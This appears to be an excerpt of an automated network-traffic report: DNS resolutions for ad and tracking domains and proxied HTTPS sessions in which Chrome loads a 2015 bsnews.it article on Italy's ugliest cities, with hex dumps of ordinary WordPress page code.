Mar 28, 2024 09:52:45.582024097 CET	1.1.1.1	192.168.2.4	0x43cc	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		54.205.163.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582024097 CET	1.1.1.1	192.168.2.4	0x43cc	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		18.206.50.161	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582024097 CET	1.1.1.1	192.168.2.4	0x43cc	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		44.222.46.243	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582262039 CET	1.1.1.1	192.168.2.4	0x7727	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582262039 CET	1.1.1.1	192.168.2.4	0x7727	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582262039 CET	1.1.1.1	192.168.2.4	0x7727	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582262039 CET	1.1.1.1	192.168.2.4	0x7727	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582262039 CET	1.1.1.1	192.168.2.4	0x7727	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.583831072 CET	1.1.1.1	192.168.2.4	0xd098	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.583831072 CET	1.1.1.1	192.168.2.4	0xd098	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.583831072 CET	1.1.1.1	192.168.2.4	0xd098	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.650867939 CET	1.1.1.1	192.168.2.4	0x5dff	No error (0)	oxp.mxptint.net		38.98.69.175	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:46.009524107 CET	1.1.1.1	192.168.2.4	0x2cef	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:46.009524107 CET	1.1.1.1	192.168.2.4	0x2cef	No error (0)	pubads46.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:46.009524107 CET	1.1.1.1	192.168.2.4	0x2cef	No error (0)	pubads46.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:46.009807110 CET	1.1.1.1	192.168.2.4	0x133c	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:46.140739918 CET	1.1.1.1	192.168.2.4	0x2c32	No error (0)	aax-eu.amazon-adsystem.com		67.220.226.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:47.954319954 CET	1.1.1.1	192.168.2.4	0xc750	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:47.954319954 CET	1.1.1.1	192.168.2.4	0xc750	No error (0)	visitor-usa02.omnitagjs.com		195.244.31.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:47.954319954 CET	1.1.1.1	192.168.2.4	0xc750	No error (0)	visitor-usa02.omnitagjs.com		195.244.31.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:47.955436945 CET	1.1.1.1	192.168.2.4	0x7c1e	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.470794916 CET	1.1.1.1	192.168.2.4	0x8c9a	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.470794916 CET	1.1.1.1	192.168.2.4	0x8c9a	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.470794916 CET	1.1.1.1	192.168.2.4	0x8c9a	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.472044945 CET	1.1.1.1	192.168.2.4	0x5dd	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.472044945 CET	1.1.1.1	192.168.2.4	0x5dd	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.472044945 CET	1.1.1.1	192.168.2.4	0x5dd	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:48.524506092 CET	1.1.1.1	192.168.2.4	0xb9db	No error (0)	s.ad.smaato.net		18.67.76.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:48.524506092 CET	1.1.1.1	192.168.2.4	0xb9db	No error (0)	s.ad.smaato.net		18.67.76.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:48.524506092 CET	1.1.1.1	192.168.2.4	0xb9db	No error (0)	s.ad.smaato.net		18.67.76.70	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:48.524506092 CET	1.1.1.1	192.168.2.4	0xb9db	No error (0)	s.ad.smaato.net		18.67.76.108	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:57 UTC	731	OUT	GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica HTTP/1.1 Host: www.bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:57 UTC	760	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Mar 2024 08:50:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica CF-Ray: 86b660272b4613b3-IAD CF-Cache-Status: MISS Cache-Control: max-age=14400 Vary: Accept-Encoding cf-apo-via: origin,resnok Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pj7V5I%2BWphZJ45qnf2sIrrXq247yUdsbZZffX3kbSYdbFY%2BFxpfbznfX29c1f%2BOf4%2B%2FPJSTaOFnjyvYLxpWsnU0h2zjU%2FyCbzX7ydMSA8BGl5Xuy2y7NWl6BcA%2FLG%2BvV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:57 UTC	161	IN	Data Raw: 39 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 9b<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
2024-03-28 08:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:58 UTC	727	OUT	GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica HTTP/1.1 Host: bsnews.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:58 UTC	898	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Mar 2024 08:50:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ CF-Ray: 86b6602cecd58f08-IAD CF-Cache-Status: MISS Cache-Control: max-age=14400 Vary: Accept-Encoding cf-apo-via: origin,resnok cf-edge-cache: cache,platform=wordpress x-cache-status: HIT x-powered-by: PHP/8.2.17 x-powered-by: PleskLin x-redirect-by: WordPress Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SHmCH1QoEXLwII3Sk1LpGkNtnu2U48wm5AhnPMuCynjF3V4MRhmhV6HtVW3vokEluxRFnyRsvOfqCAbjyTao%2FIsnPmZn2m9pPmAfTvLDZ5K2kfhH6iLfKlgowPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	728	OUT	GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ HTTP/1.1 Host: bsnews.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	1002	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 86b660308efd07dd-IAD CF-Cache-Status: HIT Age: 410 Cache-Control: max-age=14400 Last-Modified: Wed, 27 Mar 2024 17:21:51 GMT Link: <https://bsnews.it/wp-json/>; rel="https://api.w.org/", <https://bsnews.it/wp-json/wp/v2/posts/95325>; rel="alternate"; type="application/json", <https://wp.me/p8l4b6-oNv>; rel=shortlink Vary: Accept-Encoding cf-apo-via: tcache cf-edge-cache: cache,platform=wordpress x-cache-status: MISS x-powered-by: PHP/8.2.17 x-powered-by: PleskLin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iMsOeicvm277sQtfkQC4%2BCRTVHvv5n90kchfIV8PkdgT%2FjdwLNMfJ75F1y%2BitzDFX9%2Bac6R3AL18xBvqwtqa9wSq%2FCgTbmGvK7ULz8jMZQiroWC9uoSEb43vtT8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 37 65 30 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 20 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 39 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 74 2d 49 54 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4c 65 20 63 69 74 74 c3 a0 20 70 69 c3 b9 20 62 72 75 74 74 65 20 64 26 23 30 33 39 3b 49 74 61 6c 69 61 3f 20 42 Data Ascii: 7e0c<!doctype html >...[if IE 8]> <html class="ie8" lang="en"> <![endif]-->...[if IE 9]> <html class="ie9" lang="en"> <![endif]-->...[if gt IE 8]>...> <html lang="it-IT"> ...<![endif]--><head><title>Le citt pi brutte d'Italia? B
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 20 64 69 20 69 6e 71 75 69 6e 61 6d 65 6e 74 6f 20 6e 65 6c 6c 26 72 73 71 75 6f 3b 61 72 69 61 20 65 20 6e 6f 6e 20 73 6f 6c 6f 2e 20 49 6e 66 61 74 74 69 2c 20 42 72 65 73 63 69 61 20 76 69 65 6e 65 20 63 6f 6e 73 69 64 65 72 61 74 61 20 63 6f 6d 65 20 75 6e 61 20 6c 6f 63 61 6c 69 74 26 61 67 72 61 76 65 3b 20 70 69 75 74 74 6f 73 74 6f 20 61 6e 6f 6e 69 6d 61 2c 20 6e 6f 6e 6f 73 74 61 6e 74 65 20 6c 61 20 73 75 61 20 76 69 63 69 6e 61 6e 7a 61 20 61 6c 20 4c 61 67 6f 20 64 69 20 5b 26 68 65 6c 6c 69 70 3b 5d 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 Data Ascii: i di inquinamento nell’aria e non solo. Infatti, Brescia viene considerata come una località piuttosto anonima, nonostante la sua vicinanza al Lago di […]" /><meta property="og:url" content="https://www.bsnews.it/2015/01/23/le-citta-p
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 61 7a 69 6f 6e 65 20 42 73 4e 65 77 73 2e 69 74 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 2f 23 2f 73 63 68 65 6d 61 2f 70 65 72 73 6f 6e 2f 64 66 39 34 65 36 66 32 38 31 61 61 38 64 62 38 64 30 34 30 35 63 33 39 30 62 32 35 35 66 61 63 22 7d 2c 22 68 65 61 64 6c 69 6e 65 22 3a 22 4c 65 20 63 69 74 74 c3 a0 20 70 69 c3 b9 20 62 72 75 74 74 65 20 64 26 23 38 32 31 37 3b 49 74 61 6c 69 61 3f 20 42 72 65 73 63 69 61 20 61 6c 20 6e 6f 6e 6f 20 70 6f 73 74 6f 20 69 6e 20 63 6c 61 73 73 69 66 69 63 61 22 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 31 35 2d 30 31 2d 32 33 54 31 34 3a 32 38 3a 30 38 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 31 35 2d 30 31 2d 32 33 Data Ascii: azione BsNews.it","@id":"https://www.bsnews.it/#/schema/person/df94e6f281aa8db8d0405c390b255fac"},"headline":"Le citt pi brutte d’Italia? Brescia al nono posto in classifica","datePublished":"2015-01-23T14:28:08+00:00","dateModified":"2015-01-23
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 7d 2c 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 3a 22 22 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 31 35 2d 30 31 2d 32 33 54 31 34 3a 32 38 3a 30 38 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 Data Ascii: a-al-nono-posto-in-classifica/#primaryimage"},"image":{"@id":"https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/#primaryimage"},"thumbnailUrl":"","datePublished":"2015-01-23T14:28:08+00:00","dateModified":"2
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 73 6e 65 77 73 2e 69 74 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 7d 22 7d 2c 22 71 75 65 72 79 2d 69 6e 70 75 74 22 3a 22 72 65 71 75 69 72 65 64 20 6e 61 6d 65 3d 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 22 7d 5d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 69 74 2d 49 54 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 22 40 69 64 22 3a 22 68 74 Data Ascii: anization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.bsnews.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"ht
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 72 65 6c 3d 22 61 6d 70 68 74 6d 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 61 6d 70 2f 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 4d 50 20 66 6f 72 20 57 50 20 31 2e 30 2e 39 33 2e 32 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 73 65 63 75 72 65 2e 67 72 61 76 61 74 61 72 2e 63 6f 6d 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 Data Ascii: rel="amphtml" href="https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/amp/" /><meta name="generator" content="AMP for WP 1.0.93.2" /><link rel="dns-prefetch" href="//secure.gravatar.com" /><link rel="dns-prefet
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 73 6e 65 77 73 2e 69 74 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 34 2e 33 22 7d 7d 3b 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 Data Ascii: s\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/bsnews.it\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.3"}};/*! This file is auto-gener
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 3f 6e 65 77 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c 79 3a 21 30 7d 29 2c 6f 3d 28 61 2e 74 65 78 74 42 61 73 65 6c 69 6e 65 3d 22 74 6f 70 22 2c 61 2e 66 6f 6e 74 3d 22 36 30 30 20 33 32 70 78 20 41 72 69 61 6c 22 2c 7b 7d 29 3b 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 5b 65 5d 3d 74 28 61 2c 65 2c 6e 29 7d 29 2c Data Ascii: peof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 29 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 Data Ascii: upports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(functi
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 34 2e 33 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 69 6e 6c 69 6e 65 2d 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6d 65 64 69 61 65 6c 65 6d 65 6e 74 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: 4.3/wp-includes/css/dist/block-library/style.min.css" type="text/css" media="all" /><style id="wp-block-library-inline-css" type="text/css">.has-text-align-justify{text-align:justify;}</style><link rel="stylesheet" id="mediaelement-css" href="https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
